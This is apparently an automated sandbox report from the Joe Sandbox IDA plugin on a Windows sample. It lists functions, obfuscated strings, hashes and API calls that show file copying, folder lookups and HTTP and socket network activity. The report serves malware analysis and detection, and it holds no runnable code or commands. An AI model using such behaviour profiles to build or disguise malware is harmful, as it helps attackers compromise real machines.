"|',, xrefs: 009E3ADA
NAAV, xrefs: 009E3E3F
q}DIAW, xrefs: 009E486B, 009E4871
qb@S, xrefs: 009E4E90
qhF\, xrefs: 009E2C66
qhJQ, xrefs: 009E3882
qZ@H, xrefs: 009E549C
aalq, xrefs: 009E30D3
2--, xrefs: 009E35F2
pfr, xrefs: 009E5D54
a`|r, xrefs: 009E3B1B
^G]@, xrefs: 009E3BA4
qz@H, xrefs: 009E545C, 009E545F
qM@^, xrefs: 009E436A
%=!5, xrefs: 009E48CE
qb@S, xrefs: 009E4D96
A, xrefs: 009E3172
qlND, xrefs: 009E3CAB
}scd, xrefs: 009E30DD
pfr, xrefs: 009E4A77
^G]@, xrefs: 009E59DE
FF\D, xrefs: 009E3047
q]^\, xrefs: 009E509A
2--, xrefs: 009E3338
pfr, xrefs: 009E3764
qi]_, xrefs: 009E303D
6h%!, xrefs: 009E349F
2--, xrefs: 009E38FE
qJND, xrefs: 009E5267
U, xrefs: 009E5A50
qiN]TA, xrefs: 009E2FFA, 009E3005
EZVF, xrefs: 009E388C
XZZ., xrefs: 009E348B
TQAU, xrefs: 009E320A
ThZX, xrefs: 009E2C70
Y_K, xrefs: 009E30A5
U, xrefs: 009E597E
PPRG, xrefs: 009E5271
^G]@, xrefs: 009E596A

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CreateDirectory$CopyFile$FolderPath$ErrorLast
String ID: !$";!$$"|',$$/##$%=!5$'$'+/!$+$+1,*$1#&%$2--$2--$2--$5+"($6$6h%!$A$AYEY$AYEY$AYEY$BW]S$CB_Q$D\P\$EZVF$E]XQ$FF\D$IQM!$M$NAAV$P@pX$PDD$PPRG$PPRG$PPRG$Q[Ln$TQAU$ThZX$ThZX$U$U$U$V[]$W[T$W[T$XZZ.$Y_K$[SC$[SC$\SYL$^G]@$^G]@$^G]@$^G]@$^G]@$^]I^$_$_EXV$_EXV$_S_$_S_$aMK%$aNM/$a`|r$aalq$nTGD$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$q$q$q$q$qJND$qJND$qJND$qKVo$qM@^$qM@^$qM@^$qM@^$qOLS$qOLS$qOLS$qOLS$qOLS$qYLH$qZ@H$q]NF$q]^\$q]^\$q]^\$qb@S$qb@S$qb@S$qbZ^$qcF^$qcJC$qgla$qgla$qhF\$qhJQ$qh{`$qiN]TA$qi]_$qkCU\W]@$qlND$qlND$qwcy$qz@H$qzcQ$q}DIAW$q}FW$q}FW$q}[UP_$q~FT$vZ^]$x}jb$|zr$}scd
API String ID: 3023880229-1333515409
Opcode ID: 692459acb30264da723bec701e531d21eae2b013159cba68ddb7e1713268f0dd
Instruction ID: 868026a7cb9ffccb81c27dc1cd9a4dc328fe72c300a38abed86191fd032f413b
Opcode Fuzzy Hash: 692459acb30264da723bec701e531d21eae2b013159cba68ddb7e1713268f0dd
Instruction Fuzzy Hash: A8537A70C0429CDADB21EBA8CD59BEEBBB4AF55304F4441D8D44967292EB741F88CF92

Uniqueness

Uniqueness Score: -1.00%

Function 009B03C0 Relevance: 58.5, APIs: 2, Strings: 31, Instructions: 746
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009B0419
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 009B0440

Strings

E, xrefs: 009B0D27
QRZ4, xrefs: 009B09A7
oG[S, xrefs: 009B2F11
_, xrefs: 009B1997
RL^', xrefs: 009B0456
y_A], xrefs: 009B270C
\RS%, xrefs: 009B07E1
N, xrefs: 009B1F66
aI^,, xrefs: 009B14CA
-'77, xrefs: 009B14D4
YQX%, xrefs: 009B2CF7
QRZ4, xrefs: 009B1B9C
qiZQ, xrefs: 009B2117
)#3;, xrefs: 009B17D4
5, xrefs: 009B07EB
qo]], xrefs: 009B1640
)#3, xrefs: 009B2D0B
2, xrefs: 009B1BA6
2, xrefs: 009B09B1
\YZ, xrefs: 009B1361
CVR, xrefs: 009B211E
^[], xrefs: 009B2F18
^@J, xrefs: 009B164A
$, xrefs: 009B0460
z, xrefs: 009B1A43
N, xrefs: 009B061F
o5"(, xrefs: 009B2D01
T[Q4, xrefs: 009B17C0
\, xrefs: 009AF8DF
2--, xrefs: 009B1D6E
qbJT, xrefs: 009B26F8

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: FolderPath
String ID: $$)#3$)#3;$-'77$2$2$2--$5$CVR$E$N$N$QRZ4$QRZ4$RL^'$T[Q4$YQX%$\$\RS%$\YZ$^@J$^[]$_$aI^,$o5"($oG[S$qbJT$qiZQ$qo]]$y_A]$z
API String ID: 1514166925-1813813826
Opcode ID: 5703853ddfa4b9a4555975b1f79f7fe904f6e1ed8fd65fa306dd0c436c94ce20
Instruction ID: 4fe81976e6856e8cbf4c1d481a69d21cd1a7cd75e2bc26e0e4562ad2f6fc44ac
Opcode Fuzzy Hash: 5703853ddfa4b9a4555975b1f79f7fe904f6e1ed8fd65fa306dd0c436c94ce20
Instruction Fuzzy Hash: EE72BB70C0429DCADF25DB68CD557EEBBB8AF56304F0442D9D04967292EB702B89CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00A14AC0 Relevance: 37.6, APIs: 16, Strings: 5, Instructions: 890
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00A14FE3
___std_exception_destroy.LIBVCRUNTIME ref: 00A14FF7
___std_exception_destroy.LIBVCRUNTIME ref: 00A1510F
___std_exception_destroy.LIBVCRUNTIME ref: 00A15123
___std_exception_destroy.LIBVCRUNTIME ref: 00A151E0
___std_exception_destroy.LIBVCRUNTIME ref: 00A151FA
___std_exception_destroy.LIBVCRUNTIME ref: 00A15369
___std_exception_destroy.LIBVCRUNTIME ref: 00A1537D
___std_exception_destroy.LIBVCRUNTIME ref: 00A15452
___std_exception_destroy.LIBVCRUNTIME ref: 00A15466
___std_exception_destroy.LIBVCRUNTIME ref: 00A1554C
___std_exception_destroy.LIBVCRUNTIME ref: 00A15560
___std_exception_destroy.LIBVCRUNTIME ref: 00A15811
___std_exception_destroy.LIBVCRUNTIME ref: 00A15825

Strings

value, xrefs: 00A15752
O, xrefs: 00A1582D
number overflow parsing ', xrefs: 00A1514A
object, xrefs: 00A15391
array, xrefs: 00A152AA

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: O$array$number overflow parsing '$object$value
API String ID: 4194217158-306733086
Opcode ID: f500a4ad48048e94967e6ee36cb11f74ddebe68988cccec1b09d7f871117c7f7
Instruction ID: 9d2fd4a0afd639aeca3064914b8ca7f842db33c47650132d002ec18fbd53573e
Opcode Fuzzy Hash: f500a4ad48048e94967e6ee36cb11f74ddebe68988cccec1b09d7f871117c7f7
Instruction Fuzzy Hash: 32929F70C0424CDEDB10DFA8C944BDEFFB4AF59304F148699E455BB282E7746A88DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A22A10 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 216
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A22B1E
InternetSetOptionA.WININET(00000000,00000006,?,00000004), ref: 00A22B39
HttpOpenRequestA.WININET(00000000,eknt,?,00000000,00000000,00000000,80000000,00000000), ref: 00A22BB2
GetLastError.KERNEL32(00000000,00000000), ref: 00A22BDE
InternetQueryOptionA.WININET(00000000,0000001F,80000000,00000000), ref: 00A22C09
InternetSetOptionA.WININET(00000000,0000001F,00000100,00000004), ref: 00A22C1F
HttpQueryInfoA.WININET(00000000,20000005,?,00000000,00000000), ref: 00A22C3B
InternetCloseHandle.WININET(00000000), ref: 00A22C4D

Strings

eknt, xrefs: 00A22BA9, 00A22BB0

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Internet$Option$HttpOpenQuery$CloseErrorHandleInfoLastRequest
String ID: eknt
API String ID: 2425147030-3307737056
Opcode ID: 352c19adf3b7504e5d9d34ae8081b2b2b47ee279ef0268f18f8d5726c6f52bf7
Instruction ID: 156456804566092dac8ed0a12c08f3011660549553c407dc3df78f009f72a609
Opcode Fuzzy Hash: 352c19adf3b7504e5d9d34ae8081b2b2b47ee279ef0268f18f8d5726c6f52bf7
Instruction Fuzzy Hash: E171D671E40219BBEB20CFA8DC45BEEB7B8EF48710F204269F905BB2C0D7749A448794

Uniqueness

Uniqueness Score: -1.00%

Function 00A0CA20 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00A0CCC0
___std_exception_destroy.LIBVCRUNTIME ref: 00A0CCDA
___std_exception_destroy.LIBVCRUNTIME ref: 00A0D09A
___std_exception_destroy.LIBVCRUNTIME ref: 00A0D0B4

Strings

value, xrefs: 00A0CBF7, 00A0CFCE
., xrefs: 00A0D156

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: .$value
API String ID: 4194217158-1166439862
Opcode ID: 0ff25fa65dd62ac4310ac04800d0bfa1afcdfb8929c40f54e6d9fb6dea89e327
Instruction ID: f641f7363b30a98897edaa0891bc08ca1e81609d6f054cc9fe1d460d7492338b
Opcode Fuzzy Hash: 0ff25fa65dd62ac4310ac04800d0bfa1afcdfb8929c40f54e6d9fb6dea89e327
Instruction Fuzzy Hash: C6329A70D0128CDEDB14CFA8C9587EEBBB5AF05314F248299E458AB382D7745B88DF91

Uniqueness

Uniqueness Score: -1.00%

Function 009BD430 Relevance: 7.6, APIs: 5, Instructions: 92networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 009BD45A
socket.WS2_32(?,?,?), ref: 009BD4FD
connect.WS2_32(00000000,?,?), ref: 009BD511
closesocket.WS2_32(00000000), ref: 009BD51D
WSACleanup.WS2_32 ref: 009BD530

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
